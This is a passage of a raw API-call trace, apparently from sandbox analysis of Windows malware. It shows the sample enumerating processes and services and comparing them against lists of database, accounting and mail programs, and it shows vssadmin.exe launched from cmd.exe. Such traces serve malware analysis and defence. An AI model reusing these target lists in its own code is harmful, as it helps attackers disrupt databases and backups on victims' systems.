lstrlenW (lpString="smss.exe") returned 8 [0195.039] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0195.039] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0195.040] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0195.040] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0195.040] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0195.040] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0195.040] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0195.040] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.040] lstrlenW (lpString="csrss.exe") returned 9 [0195.040] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0195.040] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0195.040] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0195.040] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0195.040] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0195.040] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0195.040] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0195.040] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0195.041] lstrlenW (lpString="wininit.exe") returned 11 [0195.041] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0195.041] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0195.041] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0195.041] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.041] lstrlenW (lpString="csrss.exe") returned 9 [0195.041] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0195.042] lstrlenW (lpString="winlogon.exe") returned 12 [0195.042] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0195.042] lstrlenW (lpString="services.exe") returned 12 [0195.042] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0195.043] lstrlenW (lpString="lsass.exe") returned 9 [0195.043] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0195.043] lstrlenW (lpString="lsm.exe") returned 7 [0195.043] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.043] lstrlenW (lpString="svchost.exe") returned 11 [0195.043] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.044] lstrlenW (lpString="svchost.exe") returned 11 [0195.044] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.044] lstrlenW (lpString="svchost.exe") returned 11 [0195.044] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.044] lstrlenW (lpString="svchost.exe") returned 11 [0195.045] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.045] lstrlenW (lpString="svchost.exe") returned 11 [0195.045] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0195.045] lstrlenW (lpString="audiodg.exe") returned 11 [0195.045] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.046] lstrlenW (lpString="svchost.exe") returned 11 [0195.046] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0195.046] lstrlenW (lpString="explorer.exe") returned 12 [0195.046] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0195.046] lstrlenW (lpString="dwm.exe") returned 7 [0195.047] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.047] lstrlenW (lpString="svchost.exe") returned 11 [0195.047] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0195.047] lstrlenW (lpString="n.exe") returned 5 [0195.047] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0195.048] lstrlenW (lpString="spoolsv.exe") returned 11 [0195.048] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.048] lstrlenW (lpString="svchost.exe") returned 11 [0195.048] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0195.048] lstrlenW (lpString="taskhost.exe") returned 12 [0195.048] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0195.049] lstrlenW (lpString="reader_sl.exe") returned 13 [0195.049] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0195.049] lstrlenW (lpString="n.exe") returned 5 [0195.049] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0195.050] lstrlenW (lpString="cmd.exe") returned 7 [0195.050] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0195.050] lstrlenW (lpString="conhost.exe") returned 11 [0195.050] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0195.050] lstrlenW (lpString="vssadmin.exe") returned 12 [0195.050] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0195.051] lstrlenW (lpString="VSSVC.exe") returned 9 [0195.051] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.051] lstrlenW (lpString="svchost.exe") returned 11 [0195.051] Process32NextW (in: hSnapshot=0x1f8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0195.051] CloseHandle (hObject=0x1f8) returned 1 [0195.052] Sleep (dwMilliseconds=0x1f4) [0195.831] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0195.832] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0195.832] GetLastError () returned 0xea [0195.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12c6) returned 0x6b5c80 [0195.832] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x12c6, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0195.833] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0195.833] lstrlenW (lpString="Appinfo") returned 7 [0195.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0195.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0195.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0195.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0195.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0195.833] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0195.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.833] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0195.833] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0195.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0195.833] lstrlenW (lpString="AudioSrv") returned 8 [0195.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0195.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0195.833] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0195.833] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0195.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0195.833] lstrlenW (lpString="BFE") returned 3 [0195.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0195.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0195.833] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0195.833] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0195.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0195.834] lstrlenW (lpString="CryptSvc") returned 8 [0195.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0195.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0195.834] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0195.834] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0195.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0195.834] lstrlenW (lpString="CscService") returned 10 [0195.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0195.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0195.834] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0195.834] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0195.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0195.834] lstrlenW (lpString="DcomLaunch") returned 10 [0195.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.834] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0195.834] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0195.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0195.834] lstrlenW (lpString="Dhcp") returned 4 [0195.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0195.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0195.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0195.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0195.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0195.834] lstrlenW (lpString="Dnscache") returned 8 [0195.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0195.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0195.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0195.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0195.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0195.834] lstrlenW (lpString="DPS") returned 3 [0195.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0195.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0195.835] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0195.835] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0195.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0195.835] lstrlenW (lpString="eventlog") returned 8 [0195.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0195.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0195.835] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0195.835] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0195.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0195.835] lstrlenW (lpString="EventSystem") returned 11 [0195.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0195.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0195.835] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0195.835] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0195.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0195.835] lstrlenW (lpString="gpsvc") returned 5 [0195.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0195.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0195.835] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0195.835] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0195.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0195.835] lstrlenW (lpString="iphlpsvc") returned 8 [0195.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0195.835] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0195.835] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0195.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0195.835] lstrlenW (lpString="LanmanServer") returned 12 [0195.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0195.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0195.835] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0195.836] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0195.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0195.836] lstrlenW (lpString="LanmanWorkstation") returned 17 [0195.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0195.836] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0195.836] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0195.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0195.836] lstrlenW (lpString="lmhosts") returned 7 [0195.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0195.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0195.836] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0195.836] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0195.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0195.836] lstrlenW (lpString="MMCSS") returned 5 [0195.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0195.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0195.836] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0195.836] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0195.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0195.836] lstrlenW (lpString="MpsSvc") returned 6 [0195.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0195.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0195.836] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0195.836] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0195.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0195.836] lstrlenW (lpString="Netman") returned 6 [0195.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0195.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0195.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0195.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0195.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0195.837] lstrlenW (lpString="netprofm") returned 8 [0195.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0195.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0195.837] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0195.837] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0195.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0195.837] lstrlenW (lpString="NlaSvc") returned 6 [0195.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0195.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0195.837] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0195.837] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0195.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0195.837] lstrlenW (lpString="nsi") returned 3 [0195.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0195.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0195.837] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0195.837] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0195.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0195.837] lstrlenW (lpString="PcaSvc") returned 6 [0195.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0195.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0195.837] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0195.837] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0195.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0195.837] lstrlenW (lpString="PlugPlay") returned 8 [0195.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0195.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0195.837] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0195.837] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0195.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0195.837] lstrlenW (lpString="Power") returned 5 [0195.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0195.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0195.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0195.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0195.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0195.838] lstrlenW (lpString="ProfSvc") returned 7 [0195.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0195.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0195.838] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0195.838] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0195.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0195.838] lstrlenW (lpString="RpcEptMapper") returned 12 [0195.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.838] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0195.838] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0195.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0195.838] lstrlenW (lpString="RpcSs") returned 5 